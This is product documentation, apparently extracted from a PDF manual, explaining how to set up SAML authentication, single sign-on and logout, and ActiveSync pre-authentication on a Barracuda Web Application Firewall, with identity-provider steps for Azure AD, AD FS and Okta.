Application Firewall authorizes the user by matching the request with specified attributes in the access rule. If successful, the user is
granted access to the requested web application. If not, the Barracuda Web Application Firewall redirects the user to the Access Denied
page.
To enable SAML authentication for a service on the Barracuda Web Application Firewall, perform the following steps:
1. Configure SAML on the Barracuda Web Application Firewall

2. Configure Identity Provider (IdP)

Configuring SAML on the Barracuda Web Application Firewall
Before proceeding with the SAML configuration on the Barracuda Web Application Firewall, download the Metadata file from the IdP
server. For more information on configuring the IdP server, see Configuring Identity Provider (IdP) for SAML Authentication.
Perform the steps below to configure SAML on the Barracuda Web Application Firewall:
Step 1 - Upload a Certificate on the Barracuda Web Application Firewall

Step 2 - Create an HTTPS Service on the Barracuda Web Application Firewall
Step 3 - Configure a SAML IdP Authentication Service
Step 4 - Enable Authentication and Configure SAML Service Provider
Step 5 - Configure the Authorization Policy for the Service
Step 6 - Generate Service Provider (SP) Metadata
Next Step
Step 1 - Upload a Certificate on the Barracuda Web Application Firewall
For testing purposes, self-signed certificates (either uploaded or generated on the Barracuda Web Application Firewall) can be used for signing
and encrypting SAML IdP requests and responses. In case of production environment, upload a CA signed certificate on the Barracuda Web
Application Firewall to be used for signing the requests sent to the IdP server, and encrypting the response received from the IdP server. The
certificate can be uploaded on the BASIC > Certificates page, in the Upload Certificates section.
The uploaded certificate can be associated with the service for SAML authentication on the ACCESS CONTROL > Authentication Policies pag
e, in the Authentication Policies section. Refer to Step 4 - Enable Authentication and Configure SAML Service Provider.
Step 2 - Create an HTTPS Service on the Barracuda Web Application Firewall
Create an HTTPS service by following the steps below:

2. In the Add New Service section, specify values for the following:
a. Service Name - Enter a name for the service.
b. Type - Select HTTPS.
c. Version - Select the Internet Protocol version (IPv4 or IPv6) for the service.
d. Virtual IP Address - Enter the virtual IP address that will be used for accessing this service.
e. Port - Enter the port number on which your web server responds.
f. Version - Select the Internet Protocol version (IPv4 or IPv6) for the server that hosts the service.
g. Real Servers - Enter the IP address of the server that hosts the service. This is the back-end server that is protected by the
h. Service Groups - Select the group under which the service should be added.
i. Certificate - Select the certificate you uploaded/generated in Step 1 - Upload a Certificate on the Barracuda Web Application
Firewall.
j. Click Add.
Step 3 - Configure a SAML IdP Authentication Service
The Identity Provider server should be configured as the authentication service on the ACCESS CONTROL > Authentication Services page, in
the SAML Identity Provider tab. The Barracuda Web Application Firewall uses this information to communicate with the Identity Provider server
to authenticate a user.
1. Go to the ACCESS CONTROL > Authentication Services page, select the SAML Identity Provider tab and specify values for the
following:
a. Realm Name – Enter a name to identify the SAML authentication service on the Barracuda Web Application Firewall.
b. Identity Provider Name - Enter a name to identify the Identity Provider on the Barracuda Web Application Firewall.
c. Identity Provider Entity ID - Enter the unique entity ID of the Identity Provider with which the user needs to be authenticated.
This can be obtained from the Identity Provider’s Metadata file. Search for “entityID” in the Metadata file, copy the value
associated with it and paste it in the Identity Provider Entity ID field on the Barracuda Web Application Firewall. Example:
entityID=”https://sts.windows.net/fed64a10-d698-4693-95b4-61f4ddd86b64/”
Ensure that you do not omit the last slash character “/” when entering the entity ID. If omitted, the authentication fails
d. Identity Provider Metadata Type - Select URL or File Upload to associate the Metadata file.
i. Metadata URL - Enter the URL to download the IdP Metadata file. Example: https://login.windows.net/xxxxx/federation
metadata/2007-06/federationmetadata.xml
ii. Metadata File Upload - Click the Browse button to select the Identity Provider Metadata file. Use this option if you
have already downloaded the Metadata file.
e.

e. Click Add.
2. SAML authentication service with the specified values gets created under Existing Authentication Service. The Type for the SAML
authentication service will be displayed as “SAMLSP”.
Step 4 - Enable Authentication and Configure SAML Service Provider

2. In the Authentication Policies section, click on Edit Authentication next to the service to which you want to enable authentication.
3. In the Edit Authentication Policies window:
a. Configure the following in the Edit Authentication Policy section:
i. Set Status to On.
ii. Select the SAML authentication service created in Step 3 - Configure a SAML IdP Authentication Service from the Auth
entication Service drop-down list.
b. Configure the following in the SAML Service Provider Configuration section:
i. Organization Name – Enter your organization name. This name will be used when the Barracuda Web Application
Firewall sends SAML requests to the IdP.
ii. Organization URL – Enter the URL of the organization. Example: https://serviceprovider.com
iii. Organization Display Name – Enter a name to be displayed to the users accessing this service.
iv. SP Entity ID – Enter either the Fully Qualified Domain Name through which the service can be accessed OR the SAML
Entity ID if you have any for the application. Example: https://waf.example.com/.
v. Choose the signing certificate.
c. Specify values for other parameters as required.
4. Click Save.
Step 5 - Configure the Authorization Policy for the Service

2. In the Authentication Polices section, click Add Authorization next to the service to which you want to configure the authorization
policy. The Add Authorization Policy window opens.
3. In the Add Authorization Policy section, do the following configuration:
a. Policy Name – Enter a name for the policy.
c. URL Match – Enter the URL that needs to be matched in the request. Any request matching the configured “URL” and “Host” is
subjected to SAML authentication. For example, if the web server URL is https://www.abc.com/sports/Tennis/group1, https://ww
w.abc.com/sports/Football/group1, etc., then the URL Match can be one of the following: "/sports/Tennis/group1” OR
“/sports/Tennis/*" OR “/sports/*” OR “/*”.
d. Host Match – Enter the host name to be matched against the host in the request. For example, if the web server URL is "https://
www.abc.com", then the Host Match should be "www.abc.com".
- Ensure that you enter the host name with which the service can be accessed.
- The wildcard host match with a single * anywhere in the host name is not supported.
e. Access Rules (Optional) – Select the check box or check boxes next to the rules that needs to be applied in the authorization
policy. To create access rules, follow the steps mentioned in Configuring Access Rules for SAML Attributes in the Advanced
Configuration for SAML Authentication article.
f. Specify values for other parameters as required and click Save.
Step 6 - Generate Service Provider (SP) Metadata
After you have configured the Barracuda Web Application Firewall, you must generate the Metadata file of the SAML Service Provider (i.e the
Barracuda Web Application Firewall), and export the metadata file to the Identity Provider (IdP).
To Generate the Metadata File of the SAML Service Provider (SP):

2. In the Authentication Policies section, click Generate next to the service under Metadata.
3. Save the Service Provider (SP) Metadata XML file to your local machine. Example: sp_metadata_app.xml, where “sp_metadata”
indicates the Service Provider Metadata file configured for the service “app”.
If you modify an authorization/authentication policy associated with the service that was uploaded earlier to the Identity
Provider, you must generate the Service Provider Metadata file again and upload it to the Identity Provider. Follow the same
procedure if you add another authorization policy to the service. Typically, SAML endpoints are created on per application
basis and any change made in the authentication/authorization policy associated with the application may cause the
application to not work properly. For this reason, you need to re-generate the Metadata file and upload it to the Identity
Provider.
Some Identity Providers may not provide a metadata upload option. In such cases, SAML endpoints can be configured

manually on Identity Provider. See Advanced Configuration for SAML Authentication.
Next Step

Advanced Configuration for SAML Authentication

The advanced configuration for SAML authentication includes:
Configuring Multiple Identity Providers

Configuring SAML Attributes
Sending SAML Attributes to the Back-End Server
Configuring Access Rules (Optional)
Configuring an Attribute with Multiple Values in Access Rules
Configuring SAML Endpoints Manually on the Identity Provider Using the Service Provider Metadata
Configuring Multiple Identity Providers
Multiple Identity Providers can be configured to a SAML authentication service on the Barracuda Web Application Firewall. You can add
maximum of ten (10) Identity Providers to the SAML authentication service. If a user attempts to access a service that is configured with multiple
Identity Providers, the user is provided with an Identity Provider Selection page, where the user can select an Identity Provider for
authentication. The Barracuda Web Application Firewall redirects the user to the selected Identity Provider for authentication.
To add multiple Identity Providers, perform the following steps:

2. In the Existing Authentication Services section, click Add next to the SAML authentication service to which you want to add an Identity
Provider.
3. In the Add Identity Provider window, specify values for Identity Provider Name, Identity Provider Entity ID, and Identity Provider
Metadata URL (or upload the metadata file).
4. Click Add.
5. To add another Identity Provider, repeat step 1 to 4.
After adding multiple Identity Providers, configure the Identity Provider (IdP) selection page and logout URL for the service by following the steps
below:

2. In the Authentication Policies section, click Edit Authentication next to the service to which you have associated the SAML
authentication service that is configured with multiple Identity Providers.
3. In the Edit Authentication Policies window:
a. Ensure that the SAML authentication service associated with the service is the same to which multiple Identity Providers are
configured.
b. In the Access Control Pages section:
i. If you want to display a custom logout page to the users, click Show Advanced Settings and do the following:
ii. Select Custom from the Logout Successful Page list.
iii. In Auth Logout Successful URL, enter the URL to which the user needs to be redirected after a successful logout. If
the URL is not specified, the Barracuda Web Application Firewall displays the default logout page upon a successful
logout.
Configuring SAML Attributes
The Barracuda Web Application Firewall can authorize users accessing the secure web application based on the attributes configured in the
access rules. The user is granted access to the secure web application ONLY if the attribute(s) and their values are matched successfully.
To configure SAML attributes, perform the following steps:

2. In the Authentication Policies section, click Edit Authentication next to the service to which SAML authentication service is
associated.
3. In the Edit Authentication Policies window, scroll down to the SAML Service Provider Configuration section and do the following:
a. Under Privacy Policy, select the encryption certificate if you want the response from Identity Provider to be encrypted.
b. Under Attributes Configuration, add the attributes that needs to be filtered by the Service Provider (SP) in the incoming SAML
response. The configured attributes can be specified in the access rule to authorize users based on the values of attributes.
i. Name - The name of the attribute that appears in the assertions sent by the IDP.
ii. ID - A name to identify this attribute on the Barracuda Web Application Firewall.
iii. Type - Select the type for the attribute value in the assertions. The Barracuda Web Application Firewall uses this setting
to match assertion attribute values with the configured access rules. Example: Name -http://schemas.xmlsoap.org/ws/2
005/05/identity/claims/name , ID - name, Type - String.
c. Repeat the step 3 (b) to add required attributes.
d. Click Save.
Configure the attributes if you want the Service Provider (i.e. Barracuda Web Application Firewall) to apply the access rule(s) to authorize users
accessing the service. After adding the required attributes, configure the access rule for the defined attributes. To configure the access rule, see

Configuring Access Rule .
Sending SAML Attributes to the Back-End Server
The Barracuda Web Application Firewall sends the attributes (i.e. Local_ID and the value mapped with it) to the back-end server as part of the
headers in the request.
Attribute Name Mapping
SAML attributes can be configured under Attributes Configuration by editing an authentication policy associated with the service on the ACCES
S CONTROL > Authentication Policies section. For more information, see Configuring SAML Attributes.
- SAML Name should be the “Attribute Name” defined in the SAML assertion sent by the IDP.
- LOCAL_ID should be the attribute name as expected by the back-end application to be sent in the HTTP header.
For example, consider following is the attribute statement sent by the IDP in the SAML response:
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">johnkerry</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">john@gmail.com </saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
In the above SAML response, “uid” and “mail” are the two (2) attributes. If the back-end server expects the “uid” and “mail” attributes as “User-Id”
and “Email-id” headers, then create the attribute map as shown in the screen shot below.
After successful authorization, the matching attributes from the SAML response will be sent to the back-end server as HTTP Headers as shown in
the packet capture below:
Configuring Access Rules (Optional)
You can create access rules based on the attributes configured in the ACCESS CONTROL > Authentication Policies page. This configuration
is needed ONLY when you want the Service Provider (SP) to authorize the users based on the configured access rules.
2.

2. In the Access Rules section, click Add Access Rule, and specify values for the following fields:
a. Service Name - Select the service to which you want to configure the access rule.
b. Rule Name - Enter a name for the access rule.
c. Attributes - Select the attribute and specify the value to be matched to it from the response received from the Identity Provider.
Use the plus (+) button to add multiple attributes. If you configure multiple attributes for a rule, the Barracuda Web Application
Firewall will look for all attributes in the response from the Identity Provider and match with their values. Access will be granted
only if all attributes and their values are matched successfully. Example: Name = user1@<AD domain>, where Name is the
attribute ID and user1@<AD domain> is the value. If this attribute and value is configured in the access rule and selected in “Aut
horization Policy” for a service, only user1 will have access to the website URL.
3. Click Save to add the rule.
4. Now, on the ACCESS CONTROL > Authentication Policies page, in the Authentication Policies section:
a. Click Add/Edit Authorization next to the service to which you want to apply the configured access rule(s) to authorize users
accessing the service.
b. Select the check box or check boxes next to the access rules that needs to be applied in the authorization policy.
Configuring an Attribute with Multiple Values in Access Rules
If an attribute sent by the IDP in the SAML response contains multiple values, and you want one of those values to be matched in the request, do
the following configuration:
As an example, consider “Role” is the attribute sent by the IDP in the SAML response with multiple values: admin, manager, guest, etc. You want
the Barracuda Web Application Firewall to allow only admin and managers to access the resource. Perform the following steps to configure the
attribute with multiple values in access rules:

a. In the Authentication Policies section, click Edit Authentication next to the service, and add attribute name mapping for the
attribute “Role” under Attributes Configuration. For more information on how to add an attribute, see Configuring SAML
Attributes.
b. In the Access Rules section, click Add Access Rule and specify values for the following fields:
i. Rule Name - Enter a name for the rule.
ii. Attributes – Select the attribute and specify the value to be matched against the response(s) received from the Identity
Provider (IDP).
1. Local_ID: Select “Role” from the drop-down list.
2. Value: Specify multiple values separated with a space. Example: admin manager
iii. Click Save.
c. In the Authentication Policies section, click Edit next to the authorization policy associated with the service.
d. On the Edit Authorization Policy page:
i. Select the access rule you created in step 1.b next to Access Rules..
ii. Specify values for other parameters if required, and click Save.
Configuring SAML Endpoints Manually on the Identity Provider Using the Service Provider Metadata
Locate and open the Metadata file saved on your local machine using a text editor or a web browser to view the content. The Metadata file of the
Service Provider (SP) contains the following information:
Certificate to be used for signing and encryption (optional).

SAML login and logout endpoints.
Organization details.
Perform the following steps to manually configure SAML endpoints on the Identity Provider using the SP Metadata file:

As an example, consider the Metadata file generated on the Barracuda Web Application Firewall contains the following details:
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://sp1.nc.com/Saml.sso/

SLO/Redirect"/>
<md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://sp1.nc.com/Saml

.sso/SAML2/POST" index="1"/>
1. Locate “AssertionConsumerService” tag in the metadata file and copy the “Location” field value associated with it.
2. Configure the copied value under the “Assertion Consumer Service” option on the Identity Provider’s web page. Some Identity
Providers refer “AssertionConsumerService” as “Reply URL”.
3. Locate the “SingleLogoutService” tag in the metadata file and copy the “Location” field value associated with it.
4. Configure the copied value under the “SingleLogoutService” option on the Identity Provider’s web page.
5. Save the configuration.


An IdP is a service/website that certifies user identities using security tokens. The Identity Provider may be an on premises Active Directory
Federation Services (AD FS) setup, or an Active Directory (AD) located in Azure cloud.
Configuring Azure AD as IdP

Configuring AD FS 2.0 as IdP
Configuring Okta as IdP
Configuring Azure Active Directory (AD) for SAML Authentication
Azure Active Directory (AD) is the Identity Provider responsible for authenticating users accessing web applications hosted on the Microsoft
Azure cloud. Azure AD manages user identities along with applications. You should configure the SAML endpoints in Azure AD for web
applications requiring protection from the Barracuda Web Application Firewall. Perform the following steps to configure Azure AD:
1. Log into the Azure Management Portal.

2. In the left pane, select ACTIVE DIRECTORY.
3. Select an Active Directory from the active directory list, and click APPLICATIONS.
4. Click ADD.
5. In the pop-up window, click Add an application my Organization is developing.
6. In the Tell us about your application window, enter a Name for the application. Example: waf.example.com
7. Keep the default option, WEB APPLICATION AND/OR WEB API, and click Next to continue.
8. In the App properties window, do the following:
a. SIGN-ON URL – Enter https://waf.example.com/Saml.sso/SAML2/POST as sign-on URL.
b. APP ID URI – Enter https://waf.example.com/saml.sso as app Id URI, and click the tick mark to complete.
9. After the application is added, click CONFIGURE. Scroll down to the single sign-on section; verify that App ID URI is the same as in
step 8.b i.e. https://waf.example.com/saml.sso.
This is the unique Service Provider (SP) EntityID to be configured on the Barracuda Web Application Firewall.
10. Click VIEW ENDPOINTS at the bottom of the screen. The App Endpoints window displays the list of endpoints. Note that the Federatio
n Metadata Document URL is the Metadata URL for this application. Example: https://login.windows.net/fed64a10-d698-4693-9ad4-/fe
derationmetadata/2007-06/federationmetadata.xml.
Use the same Metadata URL while configuring IDP Metadata on the Barracuda Web Application Firewall. IDP Metadata can be
configured on the ACCESS CONTROL > Authentication Services page.
11. Copy the Federation Metadata Document URL and open it in a new browser.
The Federation Metadata Document URL is an XML file that contains the Metadata details. If the Barracuda Web Application
Firewall can be reached via internet, you can use the same URL and configure it on the Barracuda Web Application Firewall. If
not, you can download this XML file and upload it in the SAML IDP tab on the ACCESS CONTROL > Authentication
Services page.
12. In the XML file, note the following:

a. entityID - This is the IDP Entity ID that needs to be configured on the Barracuda Web Application Firewall. Example: “entityID=h
ttps://sts.windows.net/fed64a10-d698-4693-95b4-61f4ddd86b64/”
13. Close the VIEW ENDPOINTS page by clicking the tick mark.
14. Click MANAGE MANIFEST at the bottom of the screen, and select Download Manifest.
15. In the Download Manifest window, click Download manifest and save the file to your local machine.
a. Open the file in a notepad from the saved location and search for “logoutUrl”.
b. Configure the logoutUrl as: "logoutUrl": "https://waf.example.com/Saml.sso/SLO/Redirect",
c. Save the file.
16. Click MANAGE MANIFEST at the bottom of the screen, and select Upload Manifest.
17. In the Upload Manifest window, browse and upload the file you saved in step 15.c.
Configuring Active Directory Federation Services (AD FS) 2.0 for SAML Authentication
Active Directory Federation Services (AD FS) is the Identity Provider responsible for authenticating users accessing the web applications hosted
on the Microsoft Windows server. Perform the following steps to configure AD FS 2.0:
1. Download the IdP Metadata from the AD FS server.

2. Use the IdP metadata information and create a SAML IDP authentication service on the ACCESS CONTROL > Authentication
Services page.
3. Continue with steps 3 to 6 under Configuring SAML on the Barracuda Web Application Firewall in the SAML Authentication article.
4. Go to the ACCESS CONTROL > Authentication Policies page, and generate the Service Provider (SP) Metadata file by following the
steps under Generate Service Provider (SP) Metadata in the SAML Authentication article.
5. Save the Metadata file to the location you desire on the AD FS server.
6. Log into the AD FS server, and do the following:
a.

6.
a. Click the Start menu and select AD FS 2.0 Management.

b. On the AD FS 2.0 window, expand the Trust Relationships folder under the AD FS 2.0 root directory by clicking the plus
button.
c. Right click on Relying Party Trusts and select Add Relying Party Trust. The Add Relying Party Trust Wizard appears.
d. In the Add Relying Trust Wizard window, click Start.
e. In the Select Data Source step:
i. Select Import data about the relying party published from a file.
ii. Click Browse and select the SP Metadata file saved in step 5.
iii. Click Next.
iv. The message “Some of the content in the federation metadata was skipped because it is not supported by AD
FS 2.0” may appear. Click OK.
f. In the Specify Display Name step:
i. Enter the service provider domain in Display Name. Example: service1.domain.com
ii. Click Next.
g. In the Choose Issuance Authorization Rules step, keep the default settings and click Next.
h. Click Next in the Ready to Add Trust step, and then click Close. The Edit Claim Rules window appears.
i. In the Edit Claim Rules window, add, edit or remove rules and click OK.
j. The added trust displays in the Relying Party Trusts list.
Configuring SAML Attributes on the AD FS 2.0 server
To illustrate how to configure SAML attributes on the AD FS server, the LDAP attributes User-Principal-Name and Token-Groups –
Unqualified Names are used as examples in this section.
Perform the following steps to configure SAML attributes on the AD FS server:
1. Log into the AD FS server.

2. Click the Start menu and select AD FS 2.0 Management.
3. In the AD FS 2.0 window, expand the Trust Relationships folder under the AD FS 2.0 root directory by clicking the plus button.
4. Click on Relying Party Trusts folder. The Relying Party Trusts list appears in the right pane.
5. Right click on the relying party application you created, and select Edit Claim Rules. For example, service1.domain.com
6. In the Edit Claim Rules window, click Add Rule in the Issuance Transform Rules tab.
7. In the Add Transform Claim Rule Wizard window:
a. Select Send LDAP Attributes as Claims in the Choose Rule Type step, and click Next.
8. In the Configure Claim Rule step:
a. Enter a name in Claim rule name.
b. Select Active Directory from the Attribute store list.
c. Under Mapping of LDAP attributes to outgoing claim types, create mappings for the attributes that need to be allowed in the
SAML IdP response. Example:
LDAP Attribute Outgoing Claim Type
User-Principal-Name UPN
Token-Groups – Unqualified Names Group
d. Click Finish.
9. Create transform rules for the attributes added in step 8.c (i.e. User-Principal-Name and Token-Groups – Unqualified Names).
10. To add a transform rule for the attribute User-Principal-Name, repeat step 6 and 7, and then continue with the steps below.
11. Select Send Claims Using a Custom Rule in the Choose Rule Type step and click Next.
a. Enter a name in Claim rule name. Example: Transform UPN to epPN.
b. Type or copy and paste the following in the Custom rule text box:
c:[Type == "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"]
=> issue(Type = "urn:oid:1.3.6.1.4.1.5923.1.1.1.6", Value = c.Value, Properties["http://schem
as.xmlsoap.org/ws/2005/05/identity/claimproperties/attributename"] =
"urn:oasis:names:tc:SAML:2.0:attrname-format:uri");
c. Click Finish.
14. To add a transform rule for the attribute Token-Groups – Unqualified Names, repeat step 6 and 7, and then continue with the steps
below.
15. Select Send Claims Using a Custom Rule in the Choose Rule Type step and click Next.
a. Enter a name in Claim rule name. Example: Transform Group to epSA
b. Type or copy and paste the following in the Custom rule text box:
c:[Type == "http://schemas.xmlsoap.org/claims/Group", Value == "Domain Users"]

b.
=> issue(Type = "urn:oid:1.3.6.1.4.1.5923.1.1.1.9", Value = "member@domain.com ",

Properties["http://schemas.xmlsoap.org/ws/2005/05/identity/claimproperties/attributename"] =
"urn:oasis:names:tc:SAML:2.0:attrname-format:uri");
The domain.com name above should be the domain name of the AD FS Server configured.
c. Click Finish, and then OK.

17. The added rules display under the Issuance Transform Rules tab.
Configuring Okta for SAML Authentication
The Barracuda Web Application Firewall can authenticate users configured on Okta using SAML Single Sign-On. Okta is as an SAML IDP
Provider and the Barracuda Web Application Firewall is the Service Provider to authenticate users. Perform the following steps to configure Okta:
1. Download the IdP Metadata from the Okta.

2. Use the IdP metadata information and create a SAML IDP authentication service on the ACCESS CONTROL > Authentication
Services page.
3. Continue with steps 3 to 6 under Configuring SAML on the Barracuda Web Application Firewall in the SAML Authentication article.
4. Go to the ACCESS CONTROL > Authentication Policies page, and generate the Service Provider (SP) Metadata file by following the
steps under Generate Service Provider (SP) Metadata in the SAML Authentication article.
5. Save the Metadata file to your desktop.
6. Open the Metadata file and note the following:
a. Entity ID
b. AssertionConsumerService Location
7. Log into the Okta application, and do the following:
8. Click Admin on the Okta home page.
9. On the Okta Dashboard, click Add Applications under Shortcuts.
10. On the Add Application page, click Create New App and do the following:
a. Select SAML 2.0 in the Create a New Application Integration window and click Create.
b. In the Create SAML Integration page:

c. Under General Settings, enter a name for the application in the App name field and click Next.

d. Under Configure SAML:

i. Specify the AssertionConsumerService Location noted in step 6 in the Single sign on URL field. Verify Use this for
Recipient URL and Destination URL is selected.
ii. Specify the Entity ID noted in step 6 in the Audience URI (SP Entity ID).
iii. Select Transient as Name ID format.
iv. Click Next.

e. Under Feedback:
i. Select I’m an Okta customer adding an internal app next to Are you a customer or partner?.
ii. Select It’s required to contact the vendor to enable SAML next to Contact app vendor.

f. Click Finish.

Configuring Single Sign-On using SAML Authentication

applications across different web servers and platforms, without having to re-authenticate. For more information, see How to Configure Single
Sign-On.
Case 1: SSO between two applications with different Virtual IP (VIP) addresses configured on the same Barracuda Web Application Firewall.
1. Create two HTTPS services on the BASIC > Services page by following the steps mentioned in "Step 2 - Create an HTTPS Service on
the Barracuda Web Application Firewall" in the Configuring SAML on the Barracuda Web Application Firewall article. As an example,
consider App1 and App2 are the two HTTPS services created on the Barracuda Web Application Firewall.
2. Add a SAML IdP authentication service on the ACCESS CONTROL > Authentication Services page by following the steps mentioned
in "Step 3 - Configure a SAML IdP Authentication Service" in the Configuring SAML on the Barracuda Web Application Firewall article
. You can add multiple Identity Providers to a SAML IdP authentication service (if required). See "Configuring Multiple Identity
Providers" in the Advanced Configuration for SAML Authentication article..
3. Configure the authentication policy for both the services (App1 and App2) by following the steps below:
a. Go to the ACCESS CONTROL > Authentication Policies page, Authentication Policies section.
b. Click Edit Authentication next to App1 (HTTPS service created in step 1).
i. On the Edit Authentication Policies page, do the following configuration:
Status – Set to On.
Authentication Service - Select the SAML IdP authentication service created in step 2.
It is recommended that both the services in the SSO setup have the same SAML IdP authentication
service. However, you can associate different SAML IdP authentication services with the applications
if the SAML IdP authentication services have the same server configuration in it.
Specify values for the parameters under SAML Service Provider Configuration, and click Save. See Step 4 -
Enable Authentication and Configure SAML Service Provider in the Configuring SAML on the Barracuda
Web Application Firewall article.
c. Repeat step 3 for App2 (HTTPS service created in step 1).
d. Configure the authorization policy for both the services (App1 and App2) by following the steps mentioned in "Step 5 -
Configure the Authorization Policy for the Service" in the Configuring SAML on the Barracuda Web Application Firewall articl
e.
How the SSO Setup Works
1. Open your web browser and access the protected resource of the first service.
2. If the SAML IdP authentication service associated with the service is configured with only one IdP server detail, the Barracuda Web
Application Firewall redirects the user to the configured Identity Provider and challenges the user to provide login credentials.
3. If multiple Identity Providers are configured, the Barracuda Web Application Firewall displays an Identity Provider selection page where
the user can select the Identity Provider for authentication.
4. After successful authentication, the user is allowed to access the requested URL.
5. Now, access the protected resource of the second application.
6. If the SAML IdP authentication service associated with the service is configured with only one IdP server details, then the user is allowed
to access the requested URL without being challenged to provide login credentials.
7. Both the services are now in an SSO environment.
8. If multiple Identity Providers are configured, the Barracuda Web Application Firewall displays an Identity Provider selection page where
the user can select the Identity Provider for authentication. In this case:
a. If the user selects the same Identity Provider that was selected for first service, the user is allowed to access the requested URL
without being challenged to provide login credentials.
b. If the user selects a different Identity Provider for authentication, the user is allowed to access the requested URL upon
successful authentication, but the service remains independent and not in an SSO environment.
Case 2: SSO between two applications that are configured on different Barracuda Web Application Firewalls with different virtual IP (VIP)
addresses.
1. On the Barracuda Web Application Firewall 1, complete the following configuration:

a. Create an HTTPS service on the BASIC > Services page by following the steps mentioned in "Step 2 - Create an HTTPS
Service on the Barracuda Web Application Firewall" in the Configuring SAML on the Barracuda Web Application Firewall arti
cle.
b. Add a SAML IdP authentication service on the ACCESS CONTROL > Authentication Services page by following the steps
mentioned in "Step 3 - Configure a SAML IdP Authentication Service" in the Configuring SAML on the Barracuda Web
Application Firewall page. You can add multiple Identity Providers to a SAML IdP authentication service (if required). See "Confi
guring Multiple Identity Providers" in the Advanced Configuration for SAML Authentication article.
c. Configure an authentication and authorization policy for the service created in step 1 by following the steps mentioned in "Step 4
- Enable Authentication and Configure SAML Service Provider" and "Step 5 - Configure the Authorization Policy for the
Service" in the Configuring SAML on the Barracuda Web Application Firewall article.
2. On the Barracuda Web Application Firewall 2, repeat step 1 (a) (b) and (c).

2.
Ensure that you add a SAML IdP authentication service with the same server configuration as that of the Barracuda Web
Application Firewall 1.
Configuring Single Logout (SLO) using SAML Authentication
In the SSO environment, you can do a single logout to logout from all applications to which you were authenticated with the same Identity
Provider. To do a single logout, enter the following in the web browser: https://<host>/saml.sso/login?LOGOUT Example: https://www.abc.com/s
aml.sso/login?LOGOUT
If different Identity Providers were selected for authenticating different applications (i.e. the applications are not in the SSO environment/setup),
then using this LOGOUT URL in the web browser will perform a normal logout from the Identity Provider.

Pre-Authentication for ActiveSync
Exchange ActiveSync
Exchange ActiveSync (EAS) is a synchronization protocol that enables users to synchronize their mobile phones/devices with their Exchange
Mailbox, so they can access e-mail messages, calendar information, contacts and tasks associated with the Microsoft Exchange server. Users
can also manage their deleted items folder, e-mail signature and automatic reply settings. For more information, refer to the Exchange
ActiveSync article in the Microsoft documentation.
Pre-Authentication
Pre-Authentication is a mechanism that allows a trusted third party to validate a user’s identity before accessing the Exchange Mailbox. The
Barracuda Web Application Firewall acts as a trusted third party that performs pre-authentication before processing the request to your Exchange
Mailbox, i.e. when a user attempts to access a mail application, the Barracuda Web Application Firewall authenticates the user by validating the
user credentials (username and password) with the Active Directory, and then processes the request to the mail application.
If you want the Barracuda Web Application Firewall to perform pre-authentication for your Exchange Mailbox, follow the steps below:
1. Configuring the Barracuda Web Application Firewall for ActiveSync

a. Create an HTTPS Service
b. Associate OWA (2010 or 2013) Policy with the Service
c. Create an LDAP Authentication Service
d. Associate the Authentication Service with the Service
e. Add Authorization Policy for the Service
f. (Optional) Configure Session Timeout for ActiveSync
2. Configuring the Mobile Phone for ActiveSync
Step 1 - Configuring the Barracuda Web Application Firewall for ActiveSync
Perform the steps below to configure the Barracuda Web Application Firewall for ActiveSync:
Step 1 (a) - Create an HTTPS Service
Create an HTTPS service by following the steps below:

2. In the Add New Service section, specify values for the following:
a. Service Name - Enter a name for the service.
b. Type - Select HTTPS.
c. Version - Select the Internet Protocol version (IPv4 or IPv6) for the service.
d. Virtual IP Address - Enter the virtual IP address that needs to be used for accessing this service.
e. Port - Enter the port number on which your web server responds.
f. Version - Select the Internet Protocol version (IPv4 or IPv6) for the server that hosts the service.
g. Real Servers - Enter the IP address of the server that hosts the service. This is the back-end server that is protected by the
Barracuda Web Application Firewall. Note: The IP address specified should be of an HTTPS Server.
h. Service Groups - Select the group under which the service should be added.
i. Certificate - Select a certificate from the drop down list. To upload a certificate, refer to the steps mentioned in the How to Add
an SSL Certificate article.
j. Click Add.
Step 1 (b) - Associate OWA (2010 or 2013) Policy with the Service

2. In the Services section, click Edit next to the service created in Step 1 (a) – Create an HTTPS Service.
a. Scroll down to the Basic Security section.
b. Select owa2010 or owa2013 as the Web Firewall Policy for the service.
Step 1 (c) - Create an LDAP Authentication Service
An LDAP server should be configured as the authentication service on the ACCESS CONTROL > Authentication Services page, in the LDAP t
ab. The Barracuda Web Application Firewall uses this information to communicate with the LDAP server to authenticate a user. To configure an
LDAP server, refer to the steps mentioned under Configuring LDAP Database Server in the How to Configure Authentication and Access
Control (AAA) article.
Step 1 (d) - Associate the Authentication Service with the Service


2. In the Authentication Policies section, click Edit Authentication next to the service created in Step 1 – Create an HTTPS Service. The
Edit Authentication Policies page appears.
3. In the Edit Authentication Policy section:
a. Status - Set to On.
b. Authentication Service - Select the LDAP authentication service created in Step 1 (c) – Create an LDAP Authentication
Service.
Step 1 (e) - Add Authorization Policy for the Service

2. In the Authentication Policies section, click Add Authorization next to the service created in Step 1 – Create an HTTPS Service. The Ad
d Authorization Policy page appears.
3. In the Add Authorization Policy section, do the following configuration:
a. Policy Name – Enter a name for the policy.
b. Status – Set to On.
c. URL Match – Enter the URL that needs to be matched in the request. Any request matching the configured “URL” and “Host” is
subjected to SAML authentication. For example, if the web server URL is https://www.abc.com/sports/Tennis/group1, https://ww
w.abc.com/sports/Football/group1, etc., then the URL Match can be one of the following: "/sports/Tennis/group1” OR
“/sports/Tennis/*" OR “/sports/*” OR “/*”.
d. Host Match – Enter the host name to be matched against the host in the request. For example, if the web server URL is "https://
www.abc.com", then the Host Match should be "www.abc.com".
e. Login Method - Select HTTP ActiveSync.
f. Specify values for other parameters as required and click Save.
Step 1 (f) - (Optional) Configure Session Timeout for ActiveSync
You can configure the session timeout for ActiveSync by editing the authentication policy associated with the service. Session Timeout for
ActiveSync is an advanced feature, therefore, set Show Advanced Settings to Yes under Advanced Settings on the ADVANCED > System
Configuration page, and perform the following steps:

